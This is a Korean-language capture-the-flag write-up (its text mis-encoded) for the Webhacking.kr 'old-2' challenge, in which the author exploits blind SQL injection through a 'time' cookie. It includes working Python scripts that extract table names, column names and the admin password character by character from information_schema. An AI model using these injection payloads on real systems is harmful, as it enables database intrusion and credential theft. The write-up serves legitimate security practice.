๐Ÿ’ญ Minji's Archive

[Webhacking.kr] old-2

October 19, 2025

์ฃผ๋ง๋™์•ˆ https://webhacking.kr/challenge/web-02/๋ฅผ ํ‘ธ๋Š” ๊ฒƒ์ด ๊ณผ์ œ์˜€๋‹ค. ์‚ฌ์‹ค ์ง€๋‚œ ์ฃผ ๋ชฉ์š”์ผ~๊ธˆ์š”์ผ๋ถ€ํ„ฐ ์ฐ”๋”์ฐ”๋” ํ•ด๋ณธ ๊ฒƒ๋ถ€ํ„ฐ ํ•˜๋ฉด ๊ฑฐ์˜ 4์ผ? ๋™์•ˆ ์ด ๋ฌธ์ œ๋งŒ ํ‘ผ ๊ฒƒ ๊ฐ™๋‹คโ€ฆ ํ’€๊ณ  ํ’€์ด ์ž‘์„ฑ์€ ๋ฏธ๋ค„๋’€๋‹ค๊ฐ€ ์ด์ œ์„œ์•ผ ์ž‘์„ฑํ•œ๋‹ค. ์ฃผ์„์œผ๋กœ ์ ํ˜€ ์žˆ๋Š” ์‹œ๊ฐ„ ๊ฐ’์„ ์ข€ ์ฃผ์˜๊นŠ๊ฒŒ ์‚ดํŽด๋ดค์œผ๋ฉด ์‹œ๊ฐ„์„ ์ ˆ๋ฐ˜์€ ๋‹จ์ถ•ํ•  ์ˆ˜ ์žˆ์—ˆ์„ ํ…๋ฐ;; ์›Œ๊ฒŒ์ž„ ๊ฒฝ๋ ฅ ๋ถ€์กฑ(?) ์ด์Šˆโ€ฆ

์ด ์ฝ”๋“œ์˜ ํžŒํŠธ๋Š” ์ด ๋‘ ๊ฐ€์ง€๋‹ค. ์ฒซ ๋ฒˆ์งธ๋Š” ์ฃผ์„ ์ฒ˜๋ฆฌ๋˜์–ด ์žˆ๋Š” ์‹œ๊ฐ„, ๋‘ ๋ฒˆ์งธ๋Š” admin.php์— ๊ด€๋ จ๋œ ๊ฒƒ.

EditThisCookie๋ฅผ ์ด์šฉํ•ด์„œ ์ฟ ํ‚ค๊ฐ’์„ ํ™•์ธํ•ด๋ณธ ๊ฒฐ๊ณผ time์ด๋ผ๋Š” ์ฟ ํ‚ค์˜ ๊ฐ’์ด ์œ„์ฒ˜๋Ÿผ ๋˜์–ด ์žˆ๋‹ค.

https://www.epochconverter.com/์—์„œ ์ด timestamp๋ฅผ human time์œผ๋กœ ๋ณ€๊ฒฝํ•˜์ž ์œ„์™€ ๊ฐ™์€ ๊ฒฐ๊ณผ๋ฅผ ๋ณผ ์ˆ˜ ์žˆ์—ˆ๋‹ค. ์ด ์ฟ ํ‚ค๊ฐ€ ์„œ๋ฒ„์—์„œ ์–ด๋–ป๊ฒŒ ์‚ฌ์šฉ๋ ๊นŒ? SELECT ~ FROM ~ WHERE timestamp=โ€™~~โ€™ ์ด๋Ÿฐ ์‹์œผ๋กœ ์‚ฌ์šฉ๋  ํ™•๋ฅ ์ด ๋†’์ง€ ์•Š์„๊นŒ? ๊ทธ๋ ‡๋‹ค๋ฉด ์ฟ ํ‚ค์— SQL Injection์„ ์‹œ๋„ํ•ด๋ณผ ์ˆ˜ ์žˆ์„ ๊ฒƒ์ด๋‹ค.

์ฟ ํ‚ค์— false๊ฐ’์„ injection

์ฟ ํ‚ค์— true๊ฐ’์„ injection

๋‘ ๊ฒฐ๊ณผ๊ฐ€ ๋‹ค๋ฅธ ๊ฒƒ์œผ๋กœ ๋ณด์•„ Blind SQL Injection์„ ์‹œ๋„ํ•  ์ˆ˜ ์žˆ๋‹ค. ์ผ๋‹จ ํ…Œ์ด๋ธ”์˜ ๊ฐœ์ˆ˜๋ถ€ํ„ฐ ์ฐพ์•„๋ณด์ž. (์‚ฌ์‹ค ์ฝ”๋“œ ์ž‘์„ฑ ๋ถ€๋ถ„๋ถ€ํ„ฐ๋Š” ai์˜ ๋„์›€์„ ์‚ด์ง ๋ฐ›์•˜๋”ฐโ€ฆ^^)

import requests

url = 'https://webhacking.kr/challenge/web-02/'

cookie = {
    'time': '(SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema = database())'
}

r = requests.get(url, cookies=cookie)
print(r.text)

์œ„ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜์ž ์ด๋Ÿฐ ๊ฒฐ๊ณผ๊ฐ€ ๋‚˜์™”๋‹ค. ** ์ฐธ๊ณ 

  • information_schema.tables๋Š” mysql์˜ ์‹œ์Šคํ…œ ํ…Œ์ด๋ธ”์œผ๋กœ ๋ชจ๋“  ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์˜ ํ…Œ์ด๋ธ” ์ •๋ณด๊ฐ€ ๋“ค์–ด ์žˆ๋‹ค.
  • database()ํ•จ์ˆ˜๋Š” ํ˜„์žฌ ์—ฐ๊ฒฐ๋œ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์ด๋ฆ„์„ ๋ฐ˜ํ™˜ํ•œ๋‹ค.
  • table_schema=database()๋Š” ํ˜„์žฌ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ์†ํ•œ ํ…Œ์ด๋ธ”๋“ค๋งŒ ํ•„ํ„ฐ๋งํ•œ๋‹ค. ์ฆ‰ ์œ„ sql ์ฟผ๋ฆฌ๋Š” ํ˜„์žฌ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ์žˆ๋Š” ํ…Œ์ด๋ธ”์˜ ๊ฐœ์ˆ˜๋ฅผ ์„ธ๋Š” ์ฟผ๋ฆฌ์ด๋‹ค. 2070-01-01 09:00:02 ๋ถ€๋ถ„์—์„œ ํ…Œ์ด๋ธ”์ด 2๊ฐœ์ž„์„ ์ถ”์ธกํ•  ์ˆ˜ ์žˆ๋‹ค. ์„œ๋ธŒ์ฟผ๋ฆฌ๊ฐ€ ์ˆซ์ž 2๋ฅผ ๋ฐ˜ํ™˜ํ•˜๋ฉด ์„œ๋ฒ„๊ฐ€ ์ด๋ฅผ ํƒ€์ž„์Šคํƒฌํ”„๋กœ ์ฒ˜๋ฆฌํ•ด ์œ„์™€ ๊ฐ™์ด ํ‘œํ˜„๋˜์—ˆ๋‹ค๊ณ  ๋ณผ ์ˆ˜ ์žˆ๋‹ค.

์ด์ œ ํ…Œ์ด๋ธ”์˜ ์ด๋ฆ„์„ ์ฐพ์„ ์ฐจ๋ก€์ด๋‹ค.

import requests
import re

url = 'https://webhacking.kr/challenge/web-02/'

#--- ์ฒซ ๋ฒˆ์งธ ํ…Œ์ด๋ธ”๋ช… ์ฐพ๊ธฐ ---#
print("\n=== ์ฒซ ๋ฒˆ์งธ ํ…Œ์ด๋ธ”๋ช… ์ฐพ๊ธฐ ===")
table_name = ""

for i in range(1, 15):
    cookie = {
        'time': f'(SELECT ascii(substr(table_name,{i},1)) FROM information_schema.tables WHERE table_schema=database() limit 0,1)'
    }
    
    r = requests.get(url, cookies=cookie)
    
    # ์‹œ๊ฐ„ ํŒจํ„ด ์ถ”์ถœ: 09:XX:XX ํ˜•ํƒœ
    time_match = re.search(r'09:(\d{2}):(\d{2})', r.text)
    
    if time_match:
        minutes = int(time_match.group(1))
        seconds = int(time_match.group(2))
        
        # ๋ถ„:์ดˆ๋ฅผ ASCII ๊ฐ’์œผ๋กœ ๋ณ€ํ™˜ (01:37 โ†’ 1*60+37 = 97)
        ascii_val = minutes * 60 + seconds
        
        if ascii_val == 0:
            break
            
        char = chr(ascii_val)
        table_name += char
        print(f'{i}๋ฒˆ์งธ ๊ธ€์ž: {time_match.group(0)} โ†’ ASCII {ascii_val} โ†’ "{char}"')
        
    else:
        print("์‹œ๊ฐ„ ํŒจํ„ด์„ ์ฐพ์„ ์ˆ˜ ์—†์Œ")
        break

print(f'\n์ฒซ ๋ฒˆ์งธ ํ…Œ์ด๋ธ”๋ช…: {table_name}')

์ฒซ ๋ฒˆ์งธ ํ…Œ์ด๋ธ”๋ช…์€ admin_area_pw์ž„์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค. limit 1,1๋กœ ๋ฐ”๊ฟ”์„œ ๋ฐ”๋กœ ๋‘ ๋ฒˆ์งธ ํ…Œ์ด๋ธ”๋ช…์„ ์•Œ์•„๋ƒˆ๋‹ค. ๋‘ ๋ฒˆ์งธ ํ…Œ์ด๋ธ”๋ช…์€ log. ๋”ฑ ๋ด๋„ admin_area_pw์— flag๊ฐ€ ์žˆ์„ ๊ฒƒ ๊ฐ™์ด ์ƒ๊ฒผ๋‹ค.

admin_area_pw์˜ ์ปฌ๋Ÿผ ๊ฐœ์ˆ˜, ์ปฌ๋Ÿผ๋ช…, ๋ฐ์ดํ„ฐ ๊ฐœ์ˆ˜, ๋ฐ์ดํ„ฐ ๋‚ด์šฉ์„ ๋‹ค ์ถ”์ถœํ•˜๋Š” ์ฝ”๋“œ.

import requests
import re

url = 'https://webhacking.kr/challenge/web-02/'

def extract_ascii_from_time(text):
    time_match = re.search(r'09:(\d{2}):(\d{2})', text)
    if time_match:
        minutes = int(time_match.group(1))
        seconds = int(time_match.group(2))
        return minutes * 60 + seconds
    return 0

# admin_area_pw ํ…Œ์ด๋ธ” ๋ถ„์„
table_name = "admin_area_pw"

#--- ์ปฌ๋Ÿผ ๊ฐœ์ˆ˜ ์ฐพ๊ธฐ ---#
print("=== ์ปฌ๋Ÿผ ๊ฐœ์ˆ˜ ์ฐพ๊ธฐ ===")
cookie = {'time': f"(SELECT COUNT(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='{table_name}')"}
r = requests.get(url, cookies=cookie)
column_count = extract_ascii_from_time(r.text)
print(f'{table_name} ํ…Œ์ด๋ธ”์˜ ์ปฌ๋Ÿผ ๊ฐœ์ˆ˜: {column_count}๊ฐœ')

#--- ๊ฐ ์ปฌ๋Ÿผ๋ช… ์ฐพ๊ธฐ ---#
columns = []
for col_num in range(column_count):
    print(f"\n=== {col_num+1}๋ฒˆ์งธ ์ปฌ๋Ÿผ๋ช… ์ฐพ๊ธฐ ===")
    column_name = ""
    
    for i in range(1, 20):
        cookie = {'time': f"(SELECT ascii(substr(column_name,{i},1)) FROM information_schema.columns WHERE table_schema=database() AND table_name='{table_name}' LIMIT {col_num},1)"}
        r = requests.get(url, cookies=cookie)
        
        ascii_val = extract_ascii_from_time(r.text)
        if ascii_val == 0:
            break
            
        char = chr(ascii_val)
        column_name += char
        print(f'{i}๋ฒˆ์งธ ๊ธ€์ž: ASCII {ascii_val} โ†’ "{char}"')
    
    columns.append(column_name)
    print(f'{col_num+1}๋ฒˆ์งธ ์ปฌ๋Ÿผ๋ช…: {column_name}')

#--- ํ…Œ์ด๋ธ” ๋ฐ์ดํ„ฐ ๊ฐœ์ˆ˜ ์ฐพ๊ธฐ ---#
print(f"\n=== {table_name} ํ…Œ์ด๋ธ”์˜ ๋ฐ์ดํ„ฐ ๊ฐœ์ˆ˜ ===")
cookie = {'time': f"(SELECT COUNT(*) FROM {table_name})"}
r = requests.get(url, cookies=cookie)
data_count = extract_ascii_from_time(r.text)
print(f'๋ฐ์ดํ„ฐ ๊ฐœ์ˆ˜: {data_count}๊ฐœ')

#--- ๊ฐ ๋ฐ์ดํ„ฐ ๋‚ด์šฉ ์ถ”์ถœ ---#
for row_num in range(data_count):
    print(f"\n=== {row_num+1}๋ฒˆ์งธ ๋ฐ์ดํ„ฐ ===")
    
    for col_idx, col_name in enumerate(columns):
        print(f"\n--- {col_name} ์ปฌ๋Ÿผ ๊ฐ’ ---")
        data_value = ""
        
        for i in range(1, 50):  # ์ตœ๋Œ€ 50๊ธ€์ž
            cookie = {'time': f"(SELECT ascii(substr({col_name},{i},1)) FROM {table_name} LIMIT {row_num},1)"}
            r = requests.get(url, cookies=cookie)
            
            ascii_val = extract_ascii_from_time(r.text)
            if ascii_val == 0:
                break
                
            char = chr(ascii_val)
            data_value += char
            print(f'{i}๋ฒˆ์งธ ๊ธ€์ž: ASCII {ascii_val} โ†’ "{char}"')
        
        print(f'{col_name}: {data_value}')

pw๋Š” kudos_to_beistlab์ด๋‹ค.

์ด์ œ admin.php๋กœ ์ด๋™ํ•ด์„œ ์ด pw๋ฅผ ์ž…๋ ฅํ–ˆ๋”๋‹ˆ ํ’€๋ ธ๋‹ค.

ํ›„๊ธฐ

์ผ๋‹จ SQL์„ ๋„ˆ๋ฌด ์˜ค๋žœ๋งŒ์— ์จ์„œ SQL๋ฌธ ์ž‘์„ฑํ•˜๊ธฐ๊ฐ€ ์€๊ทผ ๋นก์…Œ๊ณ โ€ฆ ์ด๋Ÿฐ ์‹์œผ๋กœ ํŒŒ์ด์ฌ ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•ด์„œ ์ •๋ณด๋ฅผ ๊ธ์–ด์˜ฌ ์ˆ˜ ์žˆ์„ ๊ฑฐ๋ผ๋Š” ์ƒ๊ฐ์„ ๋ชปํ–ˆ๋‹ค. ๋‹น์—ฐํžˆ ์ฟ ํ‚ค๊ฐ’ ํ•˜๋‚˜์”ฉ ๋ฐ”๊ฟ”์•ผ ํ•  ์ค„ ์•Œ์•˜๋Š”๋ฐ ์„ธ์ƒ ํŽธํ•ด์กŒ๋‹ค(?) ์ •๊ทœํ‘œํ˜„์‹์€ ๋” ๊ณต๋ถ€ํ•ด์•ผํ• ๋“ฏ.

Reference

https://www.skshieldus.com/download/files/download.do?o_fname=EQST%20insight_Special%20Report_202208.pdf&r_fname=20220818113242961.pdf